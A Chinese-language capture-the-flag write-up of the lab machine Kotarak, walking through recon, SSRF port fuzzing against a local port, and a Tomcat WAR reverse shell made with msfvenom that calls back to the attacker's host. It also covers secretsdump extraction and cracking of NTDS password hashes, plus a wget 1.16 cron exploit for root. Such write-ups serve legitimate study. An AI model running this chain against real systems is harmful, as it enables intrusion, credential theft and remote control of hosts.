本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.55
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.55 -o ./Kotarak-autorecon
发现开放了4555端口,对应的服务是jame-admin 存在远程代码执行漏洞
经过上面的扫描目录爆破发现了有价值的目录manager,访问完成之后页面显示可以访问如下页面
访问 http://10.10.10.55:8080/manager/html 发现是个401认证,没账号和密码,而且根据页面的界面和扫描的结果版本信息,知道目标是apache tomcat ,需要拿到账号和密码就可以利用tomcat的war功能进行部署war文件获得shell ,看看别的端口
点击了两把,发现没啥东西,还是把目光聚焦在输入框那里,经过测试发现存在SSRF漏洞,那么我们可以读取更多的目标靶机本地开放了哪些服务端口,使用wfuzz命令进行模糊测试探测,当然也可以使用burpsuite进行爆破测试
wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=localhost:FUZZ
指定端口范围和需要隐藏的信息,最终得出如下信息
使用SSRF漏洞读取目标开放的888端口
点击访问backup发现访问的页面是空白,根据SSRF的请求url,构造一下得到如下
得到tomcat的账号和密码了,登录到刚才回去的tomcat管理页面
生成war文件,并上传
msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8833 -f war > bmfx.war
然后访问 http://10.10.10.55:8080/bmfx/ 本地监听8833端口即可获取反弹shell
通过Linenum.sh探测出来了两个敏感文件
将这两个问文件下载到本地kali中,将其解析出来
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin LOCAL
得到了账户的密码hash,通过https://hashes.com/en/decrypt/hash 进行在线解密得出如下信息
这里刚开始试对应的atanas的密码是错误的,实际测试是解密出来的administrator密码是登录atanas的密码,直接使用su切换用户
切换成功后切到root用户目录看看,发现没有root.txt文件,猜测可能在另一台主机上,不过在root目录下发现app.log日志,确认有个计划任务使用wget的1.16版本周期性下载文件
通过查找wget的历史漏洞信息,得到如下:https://www.exploit-db.com/exploits/40064
根据上述的exploit提示可以通过远程代码执行反弹shell,利用方式如下:
这里为了读取/root/root.txt文件,我就修改了上面写的/etc/shadow
需要更改的exploit信息
本地kali启动ftp服务
成功之后将exploit下载到目标靶机上,然后执行,但是执行的时候发现没有权限,此时可以使用目标靶机提供的authbind命令执行exploit
上面都成功之后本地监听8833端口,然后就是等待了,这里要等好几分钟,需要耐心,最终结果如下: